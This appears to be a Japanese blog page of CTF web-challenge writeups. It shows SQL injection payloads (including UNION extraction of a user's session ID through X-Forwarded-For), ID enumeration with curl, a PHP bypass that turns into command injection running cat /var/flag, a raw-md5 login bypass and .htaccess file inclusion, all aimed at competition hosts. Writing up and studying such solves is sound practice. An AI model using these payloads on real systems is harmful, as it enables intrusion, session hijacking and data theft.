Web

TAMUctf 19 writeup Not Another SQLi Challenge

Not Another SQLi Challenge

283

http://web1.tamuctf.com

Difficulty: easy


URLにアクセスすると次のページが表示されます。SQLインジェクションを試してみます。

1

NetIDに「admin」、Passwordに「' or 1=1#」と入力してLoginすると、下図のようにフラグが表示されます。
2
フラグは、
gigem{f4rm3r5_f4rm3r5_w3'r3_4ll_r16h7}
です。



STEM CTF: Cyber Challenge 2019 writeup TODO

TODO

Time Remaining: 0d 1h 25m 31s

Web - 100 points

Description

TODO: Remember where I put that flag…

http://138.247.13.110/

URLにアクセスすると次のページが表示されます。
1

適当に入力してボタンをクリックすると、URLがhttp://138.247.13.110/todolist/1000/になります。1000の部分を1,2と変えてみると別のTODOの内容が表示されます。
1~1000まで自動的にアクセスするシェルスクリプトを作ります。
for i in `seq 1 1000`
do
    out=`curl 138.247.13.110/todolist/$i/`
    if [ "`echo $out | grep MCA{`" ]; then break; fi
done
echo $out
実行すると次のとおりフラグを得ることができます。
<!DOCTYPE html> <html lang="en"> <head> <!-- Basic Page Needs –––––––––––––––––––––––––––––––––––––––––––––––––– --> <meta charset="utf-8"> <title>Todolist</title> <meta name="description" content="Small todolist app."> <meta name="author" content="Christian Rotzoll"> <!-- Mobile Specific Metas –––––––––––––––––––––––––––––––––––––––––––––––––– --> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"> <!-- FONT –––––––––––––––––––––––––––––––––––––––––––––––––– --> <link href='http://fonts.googleapis.com/css?family=Raleway:400,300,600' rel='stylesheet' type='text/css'> <!-- CSS –––––––––––––––––––––––––––––––––––––––––––––––––– --> <link rel="stylesheet" type='text/css' href="https://cdnjs.cloudflare.com/ajax/libs/normalize/3.0.2/normalize.min.css"> <link rel="stylesheet" type='text/css' href="https://cdnjs.cloudflare.com/ajax/libs/skeleton/2.0.4/skeleton.min.css"> <link rel="stylesheet" type='text/css' href="/static/css/custom.css"> <!-- Scripts –––––––––––––––––––––––––––––––––––––––––––––––––– --> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script> <script type="text/javascript" src="/static/js/site.js"></script> <script src="http://cdnjs.cloudflare.com/ajax/libs/moment.js/2.9.0/moment.min.js"></script> <script src="/static/lists/js/lists.js"></script> <!-- Favicon –––––––––––––––––––––––––––––––––––––––––––––––––– --> <link rel="icon" type="image/png" href="/static/images/favicon.png" /> </head> <body> <!-- Primary Page Layout –––––––––––––––––––––––––––––––––––––––––––––––––– --> <div class="container"> <!-- Navigation –––––––––––––––––––––––––––––––––––––––––––––––––– --> <div class="navbar-spacer"></div> <nav class="navbar"> <div class="container"> <ul class="navbar-list"> <li class="navbar-item"><a class="navbar-link" href="/">Todolist</a></li> <li class="navbar-item"></li> </ul> </div> </nav> <section class="header"> <div class="row"> <div class="three columns value-prop"></div> <div class="six columns"> <div class="title">By MITRECTF:</div> <form action="/todo/add/678/" method=post> <input type='hidden' name='csrfmiddlewaretoken' value='0rG0HOuNVMinZEZvzuh0ONCZ1ExYstCr1bcbeEVMcSvYOxfxITknt7T0Krwykcn7' /> <tr><th></th><td><input type="text" name="description" class="u-full-width" id="id_description" placeholder="Enter your todo" required maxlength="128" /></td></tr> <input type="submit" value="Submit"> </form> </div> <div class="row"> <div class="one-half column open-todos"> <h6 class="docs-header open-todos">1 open</h6> <ul> <li><input type="checkbox" id="checkbox" data-todo-id="678"> MCA{al3x4_5et_a_r3minder}</li> </ul> </div> <div class="one-half column finished-todos"> <h6 class="docs-header finished-todos">0 finished</h6> <ul> </ul> </div> </div> </div> </section> </div> <!-- End Document –––––––––––––––––––––––––––––––––––––––––––––––––– --> </body> </html>
フラグは、
MCA{al3x4_5et_a_r3minder}
です。



Quals: Saudi and Oman National Cyber Security CTF writeup Maria

Category:Web Security
Level:hard
Points:200

Points

Maria is the only person who can view the flag


URLにアクセスします。Cookieを削除した状態でアクセスすると次のようにResponseにSQL文が記載されています。

1

X-Forwarded-ForタグでIPアドレスを指定してみます。
X-Forwarded-Forとは、HTTPヘッダフィールドの1つであり、ロードバランサなどの機器を経由してWebサーバに接続するクライアントの送信元IPアドレスを特定する際のデファクトスタンダードです。
Fiddlerでリクエストを編集して送信します。

2

X-Forwarded-Forで指定したIPアドレスがSQL文に反映されています。それではSQLインジェクションができないか調べてみます。
X-Forwarded-Forに「' union select 1--」を指定してみます。
3
エラーメッセージが返ってきました。SQLインジェクションができそうです。
union select の列数を4まで増やすとエラーが発生せず正常な応答になります。またそのときPHPSESSIDに4が設定されていますので、4つ目の列に取得したい情報を指定することで情報を得ることができそうです。
X-Forwarded-Forに次のSQL文を指定してみます。
' union select 1, 2, 3, group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'--
2つのテーブル名が取得できました。
PHPSESSID=nxf8_users%2Cnxf8_sessions;
それでは、nxf8_usersテーブルの列名を取得したいと思います。以下のSQL文を指定します。
' union select 1, 2, 3, sql FROM sqlite_master WHERE type='table' and tbl_name = 'nxf8_users'--
次のようにCREATE TABLE文を取得できました。
PHPSESSID=CREATE+TABLE+%22nxf8_users%22+%28%0A++++++++++++%22id%22+int%2810%29+NOT+NULL%2C%0A++++++++++++%22name%22+varchar%28255%29++NOT+NULL%2C%0A++++++++++++%22email%22+varchar%28255%29++NOT+NULL%2C%0A++++++++++++%22password%22+varchar%28255%29++NOT+NULL%2C%0A++++++++++++%22role%22+varchar%28100%29++DEFAULT+NULL%0A++++++++%29;
パーセントエンコードを復号すると次のようになります。
CREATE TABLE "nxf8_users" (
    "id" int(10) NOT NULL,
    "name" varchar(255)  NOT NULL,
    "email" varchar(255)  NOT NULL,
    "password" varchar(255)  NOT NULL,
    "role" varchar(100)  DEFAULT NULL
);
同様にnxf8_sessionsテーブルのCREATE TABLE文を取得します。
' union select 1, 2, 3, sql FROM sqlite_master WHERE type='table' and tbl_name = 'nxf8_sessions'--
以下の情報が取得できます。
CREATE TABLE "nxf8_sessions" (
    "id" int(10) NOT NULL,
    "user_id" varchar(255)  NOT NULL,
    "ip_address" varchar(255) NOT NULL,
    "session_id" varchar(255)  NOT NULL
); 
nxf8_usersテーブルから"Maria"の情報を取得します。
' union select 1, 2, 3, id FROM nxf8_users where name = 'Maria'--
次の情報が取得できます。MariaのIDは5です。
PHPSESSID=5;
nxf8_sessionsテーブルからuser_id=5の情報を取得します。
' union select 1, 2, 3, session_id FROM nxf8_sessions where user_id = '5'--
次の情報が取得できます。
PHPSESSID=fd2030b53fc9a4f01e6dbe551db7ded390461968;
それではリクエストのクッキーに次の値を設定して要求を投げてみます。
Cookie: PHPSESSID=fd2030b53fc9a4f01e6dbe551db7ded390461968;
下図のようにフラグが表示されました。
4

フラグは、
aj9dhAdf4
です。

実践 Fiddler
Eric Lawrence
オライリージャパン
2013-05-25


Quals: Saudi and Oman National Cyber Security CTF writeup Back to basics

Category:Web Security
Level:easy
Points:50

Points

not pretty much many options. No need to open a link from a browser, there is always a different way


URLにアクセスするとGoogleにリダイレクトされます。そこでFiddlerでRequestを編集してPOSTでRequestを投げてみます。すると次のようなResponseが返ってきます。
<!--
var _0x7f88=["","join","reverse","split","log","ceab068d9522dc567177de8009f323b2"];function reverse(_0xa6e5x2){flag= _0xa6e5x2[_0x7f88[3]](_0x7f88[0])[_0x7f88[2]]()[_0x7f88[1]](_0x7f88[0])}console[_0x7f88[4]]= reverse;console[_0x7f88[4]](_0x7f88[5])
-->
次のようにコードを編集しブラウザで実行します。
<script>
<!--
var _0x7f88=["","join","reverse","split","log","ceab068d9522dc567177de8009f323b2"];
function reverse(_0xa6e5x2)
{
flag= _0xa6e5x2[_0x7f88[3]](_0x7f88[0])[_0x7f88[2]]()[_0x7f88[1]](_0x7f88[0])
}
console[_0x7f88[4]]= reverse;
console[_0x7f88[4]](_0x7f88[5])
-->
</script>
function内のflagの直後にブレークポイントを設定すると、flagの値が確認できます。

1

フラグは、
2b323f9008ed771765cd2259d860baec

STEM CTF: Cyber Challenge 2018 writeup "Express" Checkout

"Express" Checkout

Time Remaining: 0d 16h 28m 52s

Web - 50 points

Description

It took a lot of courage but our great team accomplished the unthinkable. We are happy to announce a fantastic new express checkout experience. Our customers are going to love it! This new workflow has your items delivered to someone else in no time flat!

提示されたリンクをクリックすると次のページが表示されます。

1

Home Pageのリンクをクリックします。次のページが表示されます。

2

Products hereのリンクをクリックすると、次のようなページが表示されます。

3

customers hereのリンクをクリックすると、次のようなページが表示されます。ページをリロードするとリストの内容が変わります。

4

customersのリストのgrassyKnollを表示すると次のようなページが表示されます。

5

このメールアドレスをProductsのリストのDandelionsのページのEmail欄に入力しSubmitします。

6

次のようにフラグが表示されます。

7

フラグは、
MCA{aCzb163wL9}
です。



STEM CTF: Cyber Challenge 2018 writeup Adverse Reaction

Adverse Reaction

Time Remaining: 0d 4h 5m 0s

Web - 100 points

Description

We see you’re running an ad-blocker. To view this content consider opening yourself up to malware. You can also subscribe for $9.99/month and still receive ads!

提示されたリンクをクリックすると次のようなページが表示されます。

1

Cookieを確認するとフラグがあります。

2

フラグは、
MCA{Ads_Supp0rt_webSit3z_MON$Y}
です。

Google AdSense 成功の法則 57
染谷 昌利
ソーテック社
2014-07-19


ASIS CTF Quals 2018 writeup Nice Code

問題に提示されているリンクをクリックすると次のページが表示されます。

1

さらにGET STARTEDのボタンをクリックすると、http://167.99.36.112:8080/admin/?というURLへ遷移し、次のような文字列が表示されます。

2

次にhttp://167.99.36.112:8080/admin/を表示してみます。URLの最後が/index.phpでなければならないようです。

3

それでは、http://167.99.36.112:8080/admin/index.phpにアクセスしてみます。次の文字列が表示されます。/index.phpで終わるが、/admin/index.phpではダメなようです。

4

いろいろ試してみると、http://167.99.36.112:8080/admin/index.php/index.phpにアクセスすると、次のページが表示されました。

5

Click hereのリンクはhttp://167.99.36.112:8080/another/index.php?sourceへのリンクになっており、クリックすると、次のようにphpのソースが表示されます。パラメータをうまく送信することでshellを実行することができるようです。
<?php
include('oshit.php');
$g_s = ['admin','oloco'];
$__ni = $_POST['b'];
$_p = 1;
if(isset($_GET['source'])){
    highlight_file(__FILE__);
        exit;
}
if($__ni === $g_s & $__ni[0] != 'admin'){
    $__dgi = $_GET['x'];
    $__dfi = $_GET;
    foreach($__dfi as $_k_o => $_v){
        if($_k_o == $k_Jk){
            $f = 1;
        }
        if($f && strlen($__dgi)>17 && $_p == 3){
            $k_Jk($_v,$_k_o); //my shell :)
        }
        $_p++;
    }
}else{    
    echo "noob!";
}
まず、POSTでパラメータbを配列の形で’admin’と’oloco’の2つ送信する必要がありますが、0番目が’admin’ではダメなので、PHPのバグを利用して次のように送信してみます。2^32=4294967296です。これは配列での比較(===)では一致(True)となりますが、配列の0番目の要素にアクセスすると初期化されていないことになります。
b[4294967296]=admin&b[1]=oloco
Fiddlerで[Replay]-[Reissue and Edit]を使用して、次にようにリクエストを送信します。

6

レスポンスを確認すると、noob!という文字列が出力されませんのでパラメータbのチェックは通ったようです。

7

次のチェックですが、GETパラメータが以下のような条件を満たす必要があるようです。
  • xが17文字より長い 
  • 関数との比較が一致(==)しなければならない
  • 3つ目のパラメータのときにshellが実行される
  • 3つ目のパラメータの名前にコマンド、値にパラメータを指定する
関数との比較を通すために2つ目のパラメータに0を指定します。したがって、次のようなパラメータでうまくいくか試してみます。
?x=123456789012345678&0=0&ls=system
Fiddlerで次のようにリクエストを送信してみます。

8

次のようにlsコマンドの結果が返ってきます。

9

さて次に各ディレクトリの中をlsコマンドで見てみたいと思いますが、ls /varにようにスペースは使用することができません。そこでタブ(%09)を使用して次のようにリクエストを送信します。
?x=123456789012345678&0=0&ls%09/var=system
すると次のように結果が返ってきました。
backups
cache
flag
lib
local
lock
log
mail
opt
run
spool
tmp
www
flagファイルがありますので、catコマンドでファイルの中を見てみたいと思います。次のようにリクエストを送信します。
?x=123456789012345678&0=0&cat%09/var/flag=system
フラグが表示されました。
ASIS{f52c5a0cf980887bdac6ccaebac0e8428bfb8b83}
フラグは、
ASIS{f52c5a0cf980887bdac6ccaebac0e8428bfb8b83}
です。

初めてのPHP5 増補改訂版
David Sklar
オライリージャパン
2012-09-24


*ctf 2018 writeup simpleweb


ダウンロードしたファイルは次のようなjavascriptです。
var net = require('net');

flag='fake_flag';

var server = net.createServer(function(socket) {
socket.on('data', (data) => { 
//m = data.toString().replace(/[\n\r]*$/, '');
ok = true;
arr = data.toString().split(' ');
arr = arr.map(Number);
if (arr.length != 5) 
ok = false;
arr1 = arr.slice(0);
arr1.sort();
for (var i=0; i<4; i++)
if (arr1[i+1] == arr1[i] || arr[i] < 0 || arr1[i+1] > 127)
ok = false;
arr2 = []
for (var i=0; i<4; i++)
arr2.push(arr1[i] + arr1[i+1]);
val = 0;
for (var i=0; i<4; i++)
val = val * 0x100 + arr2[i];
if (val != 0x23332333)
ok = false;
if (ok)
socket.write(flag+'\n');
else
socket.write('nope\n');
});
//socket.write('Echo server\r\n');
//socket.pipe(socket);
});

HOST = '0.0.0.0'
PORT = 23333

server.listen(PORT, HOST);
処理の内容は、入力された5つの数値を昇順に並べて、1番目の数値と2番目の数値の和、2番目と3番目の数値の和、3番目と4番目の数値の和、4番目と5番目の数値の和をとり、4つの数値を得ます。その4つの数値を順に0x100を掛けながら加算していきます。その結果を0x23332333と比較して一致すればフラグを得られるというものです。
したがって、和を取った後の4つの数値が0x23(35)、0x33(51)、0x23(35)、0x33(51)であれば良いのですが、入力した数値を昇順に並べ替えて処理していますので、そう単純ではありません。

並べ替えは文字列として処理されるので、次のように数値を入力することで、フラグを得ることができます。
$ nc 47.75.4.252 23333
15 20 31 4 47
*ctf{web_chal_made_by_binary_players_lol}
フラグは、
*ctf{web_chal_made_by_binary_players_lol}

InCTF writeup Warm Up

Warm Up

150

When warmup becomes magical, security disintegrates.

Link to the Challenge

問題に提示されているURLを表示します。

no title

”Forgot Password?”のリンクをクリックします。下図のようにphpのプログラムが表示されます。

1

入力されたidとパスワードを文字列連結してSELECT文を組み立てていますのでSQLインジェクションの脆弱性があります。パスワードの入力はmd5関数を通してそのハッシュ値を使っています。
過去のCTFでもmd5関数のハッシュ値を使ったSQLインジェクションの手法が取り上げられているようです。
http://cvk.posthaven.com/sql-injection-with-raw-md5-hashes

それでは、USERNAMEとPASSWORDにadmin/129581926211651571912466741651878684928を入力してSIGN INします。下図のようにフラグが表示されました。

2

フラグは、
inctf{Y0u_C4n_N3v3r_F1nd_7h1s_Fl4g}
です。



SHA2017 CTF writeup Bon Appétit

Bon Appétit (100) - 73 solves

We are creating a new web-site for our restaurant. Can you check if it is secure enough?
提示されたWebサイトを表示します。サイト内のリンクをクリックすると下図のようなURLになっています。パラメータでページを切り替えているようです。

1

パラメータのpageにいろいろなファイル名を試してみます。.htaccessファイルを指定してみたところ、その内容を取得することができます。
http://bonappetit.stillhackinganyway.nl/?page=.htaccess

2

次に.htaccessに記載されているsuP3r_S3kr1t_Fl4Gファイルを試してみます。下図のとおりフラグが表示されました。
http://bonappetit.stillhackinganyway.nl/?page=suP3r_S3kr1t_Fl4G

3

フラグは、
flag{82d8173445ea865974fc0569c5c7cf7f}
です。



記事検索
ギャラリー
  • TetCTF 2023 NewYearBot
  • UUT CTF writeup Find The Password
  • UUT CTF writeup The Puzzle
  • Hack Zone Tunisia 2019 writeup Microscope
  • Hack Zone Tunisia 2019 writeup Welcome
  • SwampCTF 2019 writeup Brokerboard
  • SwampCTF 2019 writeup Leap of Faith
  • SwampCTF 2019 writeup Last Transmission
  • CBM CTF 2019 writeup Long road
カテゴリー